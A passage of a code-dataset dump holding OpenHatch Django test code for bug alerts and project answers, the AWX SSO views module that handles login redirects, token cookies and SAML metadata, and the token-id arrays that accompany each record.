u'start': 11, u'end': 20} query_string = mysite.base.unicode_sanity.urlencode(GET) opps_url = make_twill_url('http://openhatch.org'+reverse(opps_view) + '?' + query_string) tc.go(opps_url) # make sure we /do/ have the comment that flags this as a page that # offers an email alert subscription button tc.find("this page should offer a link to sign up for an email alert") if not anonymous: # if the user is logged in, make sure that we have autopopulated # the form with her email address tc.find(User.objects.get(username='paulproteus').email) # Submit the 'alert' form. email_address = 'yetanother@ema.il' tc.fv('alert', 'email', email_address) tc.submit() if anonymous: client = self.client else: client = self.login_with_client() alert_data_in_form = { 'query_string': query_string, 'how_many_bugs_at_time_of_request': Bug.open_ones.filter(project=p).count(), 'email': email_address, } # Twill fails here for some reason, so let's continue the journey with # Django's built-in testing sweeeet response = client.post(reverse(mysite.search.views.subscribe_to_bug_alert_do), alert_data_in_form) # This response should be a HTTP redirect instruction self.assertEqual(response.status_code, 302) redirect_target_url = response._headers['location'][1] self.assert_(query_string in redirect_target_url) # The page redirects to the old kk response = client.get(redirect_target_url) self.assertContains(response, "this page should confirm that an email alert has been registered") # At this point, make sure that the DB contains a record of # * What the query was. # * When the request was made. # * How many bugs were returned by the query at the time of request. # There should be only one alert all_alerts = BugAlert.objects.all() self.assertEqual(all_alerts.count(), 1) alert_record = all_alerts[0] self.assert_(alert_record) assert_that_record_has_this_data = alert_data_in_form # For the logged-in user, also check that the record contains the # identity of the user who made the alert request. if not anonymous: assert_that_record_has_this_data['user'] = User.objects.get(username='paulproteus') for key, expected_value in assert_that_record_has_this_data.items(): self.assertEqual(alert_record.__getattribute__(key), expected_value, 'alert.%s = %s not (expected) %s' % (key, alert_record.__getattribute__(key), expected_value)) # run the above test for our two use cases: logged in and not def test_alert_anon(self): self.exercise_alert(anonymous=True) def test_alert_logged_in(self): self.exercise_alert(anonymous=False) class DeleteAnswer(TwillTests): fixtures = ['user-paulproteus'] def test_delete_paragraph_answer(self): # create dummy question p = Project.create_dummy(name='Ubuntu') question__pk = 0 q = ProjectInvolvementQuestion.create_dummy(pk=question__pk, is_bug_style=False) # create our dummy answer a = Answer.create_dummy(text='i am saying thigns', question=q, project=p, author=User.objects.get(username='paulproteus')) # delete our answer POST_data = { 'answer__pk': a.pk, } POST_handler = reverse(mysite.project.views.delete_paragraph_answer_do) response = self.login_with_client().post(POST_handler, POST_data) # go back to the project page and make sure that our answer isn't there anymore project_url = p.get_url() self.assertRedirects(response, project_url) project_page = self.login_with_client().get(project_url) self.assertNotContains(project_page, a.text) # and make sure our answer isn't in the db anymore self.assertEqual(Answer.objects.filter(pk=a.pk).count(), 0) def test_delete_bug_answer(self): # create dummy question p = Project.create_dummy(name='Ubuntu') # it's important that this pk correspond to the pk of an actual # bug_style question, as specified in our view otherwise, we'll # get_or_create will try to create, but it won't be able to because of # a unique key error question__pk = 2 q = ProjectInvolvementQuestion.create_dummy(pk=question__pk, is_bug_style=True) # create our dummy answer a = Answer.create_dummy(title='i want this bug fixed', text='for these reasons',question=q, project=p, author=User.objects.get(username='paulproteus')) # delete our answer POST_data = { 'answer__pk': a.pk, } POST_handler = reverse(mysite.project.views.delete_paragraph_answer_do) response = self.login_with_client().post(POST_handler, POST_data) # go back to the project page and make sure that our answer isn't there anymore project_url = p.get_url() self.assertRedirects(response, project_url) project_page = self.login_with_client().get(project_url) self.assertNotContains(project_page, a.title) # and make sure our answer isn't in the db anymore self.assertEqual(Answer.objects.filter(pk=a.pk).count(), 0) class CreateBugAnswer(TwillTests): fixtures = ['user-paulproteus'] def test_create_bug_answer(self): # go to the project page p = Project.create_dummy(name='Ubuntu') question__pk = 1 question = ProjectInvolvementQuestion.create_dummy( key_string='non_code_participation', is_bug_style=True) question.save() title = 'omfg i wish this bug would go away' text = 'kthxbai' POST_data = { 'project__pk': p.pk, 'question__pk': str(question__pk), 'answer__title': title, 'answer__text': text } POST_handler = reverse(mysite.project.views.create_answer_do) response = self.login_with_client().post(POST_handler, POST_data) # try to get the BugAnswer which we just submitted from the database our_bug_answer = Answer.objects.get(title=title) # make sure it has the right attributes self.assertEqual(our_bug_answer.text, text) self.assertEqual(our_bug_answer.question.pk, question__pk) self.assertEqual(our_bug_answer.project.pk, p.pk) project_url = p.get_url() self.assertRedirects(response, project_url) project_page = self.login_with_client().get(project_url) # make sure that our data shows up on the page self.assertContains(project_page, title) self.assertContains(project_page, text) class WeTakeOwnershipOfAnswersAtLogin(TwillTests): fixtures = ['user-paulproteus', 'person-paulproteus'] def test_create_answer_but_take_ownership_at_login_time(self): session = {} # Create the Answer object, but set its User to None answer = Answer.create_dummy() answer.author = None answer.is_published = False answer.save() # Verify that the Answer object is not available by .objects() self.assertFalse(Answer.objects.all()) # Store the Answer IDs in the session mysite.project.controllers.note_in_session_we_control_answer_id(session, answer.id) self.assertEqual(session['answer_ids_that_are_ours'], [answer.id]) # If you want to look at those answers, you can this way: stored_answers = mysite.project.controllers.get_unsaved_answers_from_session(session) self.assertEqual([answer.id for answer in stored_answers], [answer.id]) # Verify that the Answer object is still not available by .objects() self.assertFalse(Answer.objects.all()) # At login time, take ownership of those Answer IDs mysite.project.controllers.take_control_of_our_answers( User.objects.get(username='paulproteus'), session) # And now we own it! self.assertEqual(Answer.objects.all().count(), 1) class CreateAnonymousAnswer(TwillTests): fixtures = ['user-paulproteus'] def test_create_answer_anonymously(self): # Steps for this test # 1. User fills in the form anonymously # 2. We test that the Answer is not yet saved # 3. User logs in # 4. We test that the Answer is saved p = Project.create_dummy(name='Myproject') q = ProjectInvolvementQuestion.create_dummy( key_string='where_to_start', is_bug_style=False) # Do a GET on the project page to prove cookies work. self.client.get(p.get_url()) # POST some text to the answer creation post handler answer_text = """Help produce official documentation, share the solution to a problem, or check, proof and test other documents for accuracy.""" POST_data = { 'project__pk': p.pk, 'question__pk': q.pk, 'answer__text': answer_text, } response = self.client.post(reverse(mysite.project.views.create_answer_do), POST_data, follow=True) self.assertEqual(response.redirect_chain, [('http://testserver/account/login/?next=%2F%2Bprojects%2FMyproject', 302)]) # If this were an Ajaxy post handler, we might assert something about # the response, like # self.assertEqual(response.content, '1') # check that the db contains a record with this text try: record = Answer.all_even_unowned.get(text=POST_data['answer__text']) except Answer.DoesNotExist: print "All Answers:", Answer.all_even_unowned.all() raise Answer.DoesNotExist self.assertEqual(record.project, p) self.assertEqual(record.question, q) self.assertFalse(Answer.objects.all()) # it's unowned # Now, the session will know about the answer, but the answer will not be published. # Visit the login page, assert that the page contains the text of the answer. response = self.client.get(reverse('oh_login')) self.assertContains(response, POST_data['answer__text']) # But when the user is logged in and *then* visits the project page login_worked = self.client.login(username='paulproteus', password="paulproteus's unbreakable password") self.assert_(login_worked) self.client.get(p.get_url()) # Now, the Answer should have an author whose username is paulproteus answer = Answer.objects.get() self.assertEqual(answer.text, POST_data['answer__text']) self.assertEqual(answer.author.username, 'paulproteus') # Finally, go to the project page and make sure that our Answer has appeared response = self.client.get(p.get_url()) self.assertContains(response, answer_text) class CreateAnswer(TwillTests): fixtures = ['user-paulproteus'] def test_create_answer(self): p = Project.create_dummy() q = ProjectInvolvementQuestion.create_dummy( key_string='where_to_start', is_bug_style=False) # POST some text to the answer creation post handler POST_data = { 'project__pk': p.pk, 'question__pk': q.pk, 'answer__text': """Help produce official documentation, share \ the solution to a problem, or check, proof and test other documents for \ accuracy.""", } self.login_with_client().post(reverse(mysite.project.views.create_answer_do), POST_data) # If this were an Ajaxy post handler, we might assert something about # the response, like # self.assertEqual(response.content, '1') # check that the db contains a record with this text try: record = Answer.objects.get(text=POST_data['answer__text']) except Answer.DoesNotExist: print "All Answers:", Answer.objects.all() raise Answer.DoesNotExist self.assertEqual(record.author, User.objects.get(username='paulproteus')) self.assertEqual(record.project, p) self.assertEqual(record.question, q) # check that the project page now includes this text project_page = self.client.get(p.get_url()) self.assertContains(project_page, POST_data['answer__text']) self.assertContains(project_page, record.author.username) def test_multiparagraph_answer(self): """ If a multi-paragraph answer is submitted, display it as a multi-paragraph answer. """ # go to the project page p = Project.create_dummy(name='Ubuntu') q = ProjectInvolvementQuestion.create_dummy( key_string='where_to_start', is_bug_style=False) q.save() text = ['This is a multiparagraph answer.', 'This is the second paragraph.', 'This is the third paragraph.'] POST_data = { 'project__pk': p.pk, 'question__pk': q.pk, 'answer__text': "\n".join(text) } POST_handler = reverse(mysite.project.views.create_answer_do) self.login_with_client().post(POST_handler, POST_data) project_page = self.login_with_client().get(p.get_url()) # Django documents publicly that linebreaks replaces one "\n" with "<br />". # http://docs.djangoproject.com/en/dev/ref/templates/builtins/#linebreaks self.assertContains(project_page, "<br />".join(text)) class BugKnowsItsFreshness(TestCase): def test(self): b = mysite.search.models.Bug.create_dummy_with_project() b.last_polled = datetime.datetime.now() self.assertTrue(b.data_is_more_fresh_than_one_day()) b.last_polled -= datetime.timedelta( days=1, hours=1) self.assertFalse(b.data_is_more_fresh_than_one_day()) class WeCanPollSomethingToCheckIfAProjectIconIsLoaded(TestCase): def test(self): # Create a dummy project p = Project.create_dummy() # Make sure its ohloh icon download time is null self.assertEqual(p.date_icon_was_fetched_from_ohloh, None) # get the thing we poll response = self.client.get(reverse( mysite.search.views.project_has_icon, kwargs={'project_name': p.name})) self.assertEqual(response.content, 'keep polling') # okay, so now say we finished polling p.date_icon_was_fetched_from_ohloh = datetime.datetime.utcnow() p.save() # so what now? response = self.client.get(reverse( mysite.search.views.project_has_icon, kwargs={'project_name': p.name})) self.assertEqual(response.content, p.get_url_of_icon_or_generic()) # vim: set nu ai et ts=4 sw=4:
agpl-3.0
[ 3, 961, 570, 365, 1777, 402, 3232, 40, 693, 14, 199, 3, 1898, 334, 35, 9, 7129, 510, 1096, 281, 11308, 262, 23263, 199, 3, 1898, 334, 35, 9, 7129, 1603, 564, 598, 322, 2721, 199, 3, 1898, 334, 35, 9, 8937, 12, 7129, 3232, 40, 693, 12, 3277, 14, 199, 3, 1898, 334, 35, 9, 7129, 1603, 28601, 696, 22895, 43, 1697, 285, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 3002, 2124, 14, 1095, 14, 2219, 492, 1852, 63, 8122, 778, 63, 633, 12, 377, 14117, 2925, 199, 646, 3002, 2124, 14, 1095, 14, 992, 199, 646, 3002, 2124, 14, 1095, 14, 2975, 63, 21614, 199, 199, 646, 3002, 2124, 14, 2048, 14, 2219, 199, 504, 3002, 2124, 14, 2913, 14, 992, 492, 8028, 199, 646, 3002, 2124, 14, 2913, 14, 992, 199, 646, 3002, 2124, 14, 1733, 14, 20531, 199, 504, 3002, 2124, 14, 1733, 14, 992, 492, 7290, 12, 21605, 12, 971, 267, 7290, 14883, 3344, 434, 16778, 12, 30675, 12, 21605, 18758, 199, 504, 3002, 2124, 14, 1733, 492, 6858, 199, 646, 2197, 199, 646, 3002, 2124, 14, 1715, 14, 4196, 199, 199, 504, 1639, 14, 1208, 14, 2796, 492, 3372, 3917, 199, 646, 1639, 14, 697, 199, 646, 1639, 14, 2190, 199, 199, 504, 1639, 14, 1208, 492, 13804, 199, 646, 1683, 199, 504, 8900, 778, 492, 3718, 465, 14415, 199, 199, 504, 1639, 14, 396, 492, 7640, 199, 646, 1639, 14, 1018, 14, 1637, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1018, 14, 1725, 14, 1095, 492, 6646, 1173, 199, 504, 1639, 14, 2828, 14, 1178, 14, 992, 492, 2876, 199, 199, 533, 8730, 774, 8, 52, 14117, 2925, 304, 339, 347, 2754, 63, 12897, 63, 8122, 778, 8, 277, 12, 1827, 29, 403, 304, 267, 2754, 63, 633, 275, 298, 1014, 921, 1490, 72, 693, 14, 1308, 15, 1733, 6687, 267, 340, 1827, 26, 288, 2754, 63, 633, 847, 8720, 81, 2458, 83, 7, 450, 1827, 267, 14415, 14, 1939, 8, 1875, 63, 8122, 778, 63, 633, 8, 1733, 63, 633, 430, 339, 347, 2754, 63, 12897, 63, 1258, 8, 277, 12, 1827, 29, 403, 304, 267, 2754, 63, 633, 275, 3286, 1733, 6687, 267, 372, 291, 14, 1258, 14, 362, 8, 1733, 63, 633, 12, 469, 85, 7, 81, 356, 1827, 1552, 339, 347, 6540, 63, 6717, 8, 277, 12, 1373, 12, 2877, 304, 267, 291, 14, 629, 8, 552, 8, 368, 395, 822, 8, 5601, 430, 267, 291, 14, 629, 8, 409, 8, 368, 395, 663, 8, 5601, 430, 339, 347, 6540, 63, 6717, 63, 1618, 63, 7892, 8, 277, 12, 1373, 12, 2877, 12, 4069, 63, 498, 29, 403, 304, 398, 340, 4069, 63, 498, 365, 440, 488, 26, 288, 4069, 63, 2324, 275, 2400, 8377, 26, 8377, 59, 3191, 63, 498, 61, 267, 587, 26, 288, 4069, 63, 2324, 275, 488, 398, 3355, 63, 368, 275, 3355, 8, 368, 12, 790, 29, 3191, 63, 2324, 9, 267, 3355, 63, 5601, 275, 3355, 8, 5601, 12, 790, 29, 3191, 63, 2324, 9, 267, 367, 1022, 315, 1425, 8, 552, 8, 5917, 63, 368, 2298, 288, 862, 26, 355, 291, 14, 629, 8, 5917, 63, 368, 59, 75, 467, 3355, 63, 5601, 59, 75, 566, 288, 871, 9070, 26, 355, 492, 984, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 368, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 5601, 355, 746, 267, 367, 1022, 315, 1425, 8, 552, 8, 5917, 63, 5601, 2298, 288, 862, 26, 355, 291, 14, 629, 8, 5917, 63, 368, 59, 75, 467, 3355, 63, 5601, 59, 75, 566, 288, 871, 9070, 26, 355, 492, 984, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 368, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 5601, 355, 746, 199, 199, 533, 9195, 14175, 2925, 8, 5278, 774, 304, 272, 408, 272, 1379, 3775, 314, 2599, 4883, 883, 2429, 1362, 446, 282, 901, 13, 6100, 1827, 1362, 446, 76, 282, 2222, 13, 698, 13, 6100, 334, 2861, 505, 9, 1827, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 8730, 774, 14, 5996, 8, 277, 9, 267, 291, 14, 1715, 63, 10289, 275, 7290, 14, 981, 63, 5869, 8, 354, 29, 85, 7, 4373, 530, 21954, 297, 2637, 29, 85, 7, 35, 4176, 358, 267, 291, 14, 1715, 63, 75, 4651, 2158, 275, 7290, 14, 981, 63, 5869, 8, 354, 29, 85, 7, 43, 4651, 2158, 297, 2637, 29, 85, 7, 54, 974, 265, 358, 267, 291, 14, 1266, 63, 262, 63, 10289, 275, 21605, 14, 452, 63, 13017, 14, 981, 8, 1715, 29, 277, 14, 1715, 63, 10289, 12, 355, 13135, 63, 5350, 7064, 29, 18, 12, 355, 1434, 63, 1155, 1376, 29, 2083, 14, 602, 8, 8664, 12, 841, 12, 413, 395, 355, 2061, 63, 31854, 29, 2083, 14, 602, 8, 8664, 12, 841, 12, 499, 395, 355, 2061, 63, 2515, 1146, 29, 2083, 14, 602, 8, 8664, 12, 841, 12, 499, 395, 355, 11482, 351, 63, 3093, 354, 628, 58, 439, 72, 364, 699, 1024, 830, 20670, 88, 401, 355, 11482, 351, 63, 2473, 628, 20176, 401, 355, 11358, 63, 1266, 63, 1073, 628, 1014, 921, 2694, 14, 957, 10665, 355, 776, 339, 347, 511, 51, 11914, 15293, 4649, 1017 ]
[ 961, 570, 365, 1777, 402, 3232, 40, 693, 14, 199, 3, 1898, 334, 35, 9, 7129, 510, 1096, 281, 11308, 262, 23263, 199, 3, 1898, 334, 35, 9, 7129, 1603, 564, 598, 322, 2721, 199, 3, 1898, 334, 35, 9, 8937, 12, 7129, 3232, 40, 693, 12, 3277, 14, 199, 3, 1898, 334, 35, 9, 7129, 1603, 28601, 696, 22895, 43, 1697, 285, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 3002, 2124, 14, 1095, 14, 2219, 492, 1852, 63, 8122, 778, 63, 633, 12, 377, 14117, 2925, 199, 646, 3002, 2124, 14, 1095, 14, 992, 199, 646, 3002, 2124, 14, 1095, 14, 2975, 63, 21614, 199, 199, 646, 3002, 2124, 14, 2048, 14, 2219, 199, 504, 3002, 2124, 14, 2913, 14, 992, 492, 8028, 199, 646, 3002, 2124, 14, 2913, 14, 992, 199, 646, 3002, 2124, 14, 1733, 14, 20531, 199, 504, 3002, 2124, 14, 1733, 14, 992, 492, 7290, 12, 21605, 12, 971, 267, 7290, 14883, 3344, 434, 16778, 12, 30675, 12, 21605, 18758, 199, 504, 3002, 2124, 14, 1733, 492, 6858, 199, 646, 2197, 199, 646, 3002, 2124, 14, 1715, 14, 4196, 199, 199, 504, 1639, 14, 1208, 14, 2796, 492, 3372, 3917, 199, 646, 1639, 14, 697, 199, 646, 1639, 14, 2190, 199, 199, 504, 1639, 14, 1208, 492, 13804, 199, 646, 1683, 199, 504, 8900, 778, 492, 3718, 465, 14415, 199, 199, 504, 1639, 14, 396, 492, 7640, 199, 646, 1639, 14, 1018, 14, 1637, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1018, 14, 1725, 14, 1095, 492, 6646, 1173, 199, 504, 1639, 14, 2828, 14, 1178, 14, 992, 492, 2876, 199, 199, 533, 8730, 774, 8, 52, 14117, 2925, 304, 339, 347, 2754, 63, 12897, 63, 8122, 778, 8, 277, 12, 1827, 29, 403, 304, 267, 2754, 63, 633, 275, 298, 1014, 921, 1490, 72, 693, 14, 1308, 15, 1733, 6687, 267, 340, 1827, 26, 288, 2754, 63, 633, 847, 8720, 81, 2458, 83, 7, 450, 1827, 267, 14415, 14, 1939, 8, 1875, 63, 8122, 778, 63, 633, 8, 1733, 63, 633, 430, 339, 347, 2754, 63, 12897, 63, 1258, 8, 277, 12, 1827, 29, 403, 304, 267, 2754, 63, 633, 275, 3286, 1733, 6687, 267, 372, 291, 14, 1258, 14, 362, 8, 1733, 63, 633, 12, 469, 85, 7, 81, 356, 1827, 1552, 339, 347, 6540, 63, 6717, 8, 277, 12, 1373, 12, 2877, 304, 267, 291, 14, 629, 8, 552, 8, 368, 395, 822, 8, 5601, 430, 267, 291, 14, 629, 8, 409, 8, 368, 395, 663, 8, 5601, 430, 339, 347, 6540, 63, 6717, 63, 1618, 63, 7892, 8, 277, 12, 1373, 12, 2877, 12, 4069, 63, 498, 29, 403, 304, 398, 340, 4069, 63, 498, 365, 440, 488, 26, 288, 4069, 63, 2324, 275, 2400, 8377, 26, 8377, 59, 3191, 63, 498, 61, 267, 587, 26, 288, 4069, 63, 2324, 275, 488, 398, 3355, 63, 368, 275, 3355, 8, 368, 12, 790, 29, 3191, 63, 2324, 9, 267, 3355, 63, 5601, 275, 3355, 8, 5601, 12, 790, 29, 3191, 63, 2324, 9, 267, 367, 1022, 315, 1425, 8, 552, 8, 5917, 63, 368, 2298, 288, 862, 26, 355, 291, 14, 629, 8, 5917, 63, 368, 59, 75, 467, 3355, 63, 5601, 59, 75, 566, 288, 871, 9070, 26, 355, 492, 984, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 368, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 5601, 355, 746, 267, 367, 1022, 315, 1425, 8, 552, 8, 5917, 63, 5601, 2298, 288, 862, 26, 355, 291, 14, 629, 8, 5917, 63, 368, 59, 75, 467, 3355, 63, 5601, 59, 75, 566, 288, 871, 9070, 26, 355, 492, 984, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 368, 355, 870, 4331, 984, 14, 3083, 12, 3355, 63, 5601, 355, 746, 199, 199, 533, 9195, 14175, 2925, 8, 5278, 774, 304, 272, 408, 272, 1379, 3775, 314, 2599, 4883, 883, 2429, 1362, 446, 282, 901, 13, 6100, 1827, 1362, 446, 76, 282, 2222, 13, 698, 13, 6100, 334, 2861, 505, 9, 1827, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 8730, 774, 14, 5996, 8, 277, 9, 267, 291, 14, 1715, 63, 10289, 275, 7290, 14, 981, 63, 5869, 8, 354, 29, 85, 7, 4373, 530, 21954, 297, 2637, 29, 85, 7, 35, 4176, 358, 267, 291, 14, 1715, 63, 75, 4651, 2158, 275, 7290, 14, 981, 63, 5869, 8, 354, 29, 85, 7, 43, 4651, 2158, 297, 2637, 29, 85, 7, 54, 974, 265, 358, 267, 291, 14, 1266, 63, 262, 63, 10289, 275, 21605, 14, 452, 63, 13017, 14, 981, 8, 1715, 29, 277, 14, 1715, 63, 10289, 12, 355, 13135, 63, 5350, 7064, 29, 18, 12, 355, 1434, 63, 1155, 1376, 29, 2083, 14, 602, 8, 8664, 12, 841, 12, 413, 395, 355, 2061, 63, 31854, 29, 2083, 14, 602, 8, 8664, 12, 841, 12, 499, 395, 355, 2061, 63, 2515, 1146, 29, 2083, 14, 602, 8, 8664, 12, 841, 12, 499, 395, 355, 11482, 351, 63, 3093, 354, 628, 58, 439, 72, 364, 699, 1024, 830, 20670, 88, 401, 355, 11482, 351, 63, 2473, 628, 20176, 401, 355, 11358, 63, 1266, 63, 1073, 628, 1014, 921, 2694, 14, 957, 10665, 355, 776, 339, 347, 511, 51, 11914, 15293, 4649, 1017, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
snahelou/awx
awx/sso/views.py
1
3691
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Python import urllib import logging # Django from django.core.urlresolvers import reverse from django.http import HttpResponse from django.utils.timezone import now, utc from django.views.generic import View from django.views.generic.base import RedirectView from django.utils.encoding import smart_text # Django REST Framework from rest_framework.renderers import JSONRenderer # AWX from awx.main.models import AuthToken from awx.api.serializers import UserSerializer logger = logging.getLogger('awx.sso.views') class BaseRedirectView(RedirectView): permanent = True def get_redirect_url(self, *args, **kwargs): last_path = self.request.COOKIES.get('lastPath', '') last_path = urllib.quote(urllib.unquote(last_path).strip('"')) url = reverse('ui:index') if last_path: return '%s#%s' % (url, last_path) else: return url sso_error = BaseRedirectView.as_view() sso_inactive = BaseRedirectView.as_view() class CompleteView(BaseRedirectView): def dispatch(self, request, *args, **kwargs): response = super(CompleteView, self).dispatch(request, *args, **kwargs) if self.request.user and self.request.user.is_authenticated(): request_hash = AuthToken.get_request_hash(self.request) try: token = AuthToken.objects.filter(user=request.user, request_hash=request_hash, reason='', expires__gt=now())[0] token.refresh() logger.info(smart_text(u"User {} logged in".format(self.request.user.username))) except IndexError: token = AuthToken.objects.create(user=request.user, request_hash=request_hash) logger.info(smart_text(u"User {} logged in".format(self.request.user.username))) request.session['auth_token_key'] = token.key token_key = urllib.quote('"%s"' % token.key) response.set_cookie('token', token_key) token_expires = token.expires.astimezone(utc).strftime('%Y-%m-%dT%H:%M:%S') token_expires = '%s.%03dZ' % (token_expires, token.expires.microsecond / 1000) token_expires = urllib.quote('"%s"' % token_expires) response.set_cookie('token_expires', token_expires) response.set_cookie('userLoggedIn', 'true') current_user = UserSerializer(self.request.user) current_user = JSONRenderer().render(current_user.data) current_user = urllib.quote('%s' % current_user, '') response.set_cookie('current_user', current_user) return response sso_complete = CompleteView.as_view() class MetadataView(View): def get(self, request, *args, **kwargs): from social.apps.django_app.utils import load_backend, load_strategy complete_url = reverse('social:complete', args=('saml', )) saml_backend = load_backend( load_strategy(request), 'saml', redirect_uri=complete_url, ) try: metadata, errors = saml_backend.generate_metadata_xml() except Exception as e: logger.exception('unable to generate SAML metadata') errors = e if not errors: return HttpResponse(content=metadata, content_type='text/xml') else: return HttpResponse(content=str(errors), content_type='text/plain') saml_metadata = MetadataView.as_view()
apache-2.0
[ 3, 1898, 334, 67, 9, 6900, 2622, 12, 3277, 14, 199, 3, 2900, 5924, 5702, 14, 199, 199, 3, 2018, 199, 646, 4011, 199, 646, 2050, 199, 199, 3, 5634, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1014, 492, 6183, 199, 504, 1639, 14, 1208, 14, 7145, 492, 3063, 12, 19314, 199, 504, 1639, 14, 4196, 14, 6767, 492, 10935, 199, 504, 1639, 14, 4196, 14, 6767, 14, 1095, 492, 18532, 2768, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 505, 199, 199, 3, 5634, 14880, 22545, 199, 504, 4618, 63, 4857, 14, 828, 26529, 492, 4840, 11355, 199, 199, 3, 437, 16783, 199, 504, 282, 6323, 14, 973, 14, 992, 492, 3590, 3264, 199, 504, 282, 6323, 14, 1246, 14, 12844, 492, 2876, 7299, 199, 199, 2921, 275, 2050, 14, 5572, 360, 65, 6323, 14, 25479, 14, 4196, 358, 421, 199, 533, 3523, 7071, 2768, 8, 7071, 2768, 304, 339, 19860, 275, 715, 339, 347, 664, 63, 4876, 63, 633, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 2061, 63, 515, 275, 291, 14, 1069, 14, 12189, 2563, 14, 362, 360, 2019, 2042, 297, 4074, 267, 2061, 63, 515, 275, 4011, 14, 3513, 8, 4078, 14, 12240, 8, 2019, 63, 515, 680, 1913, 14088, 1333, 267, 1166, 275, 3837, 360, 1907, 26, 1080, 358, 267, 340, 2061, 63, 515, 26, 288, 372, 1543, 83, 25745, 83, 7, 450, 334, 633, 12, 2061, 63, 515, 9, 267, 587, 26, 288, 372, 1166, 421, 199, 25479, 63, 705, 275, 3523, 7071, 2768, 14, 305, 63, 1345, 342, 199, 25479, 63, 16856, 275, 3523, 7071, 2768, 14, 305, 63, 1345, 342, 421, 199, 533, 28393, 2768, 8, 1563, 7071, 2768, 304, 339, 347, 7634, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 1177, 275, 1613, 8, 14175, 2768, 12, 291, 680, 6052, 8, 1069, 12, 627, 589, 12, 1011, 958, 9, 267, 340, 291, 14, 1069, 14, 751, 436, 291, 14, 1069, 14, 751, 14, 374, 63, 12177, 837, 288, 1056, 63, 2227, 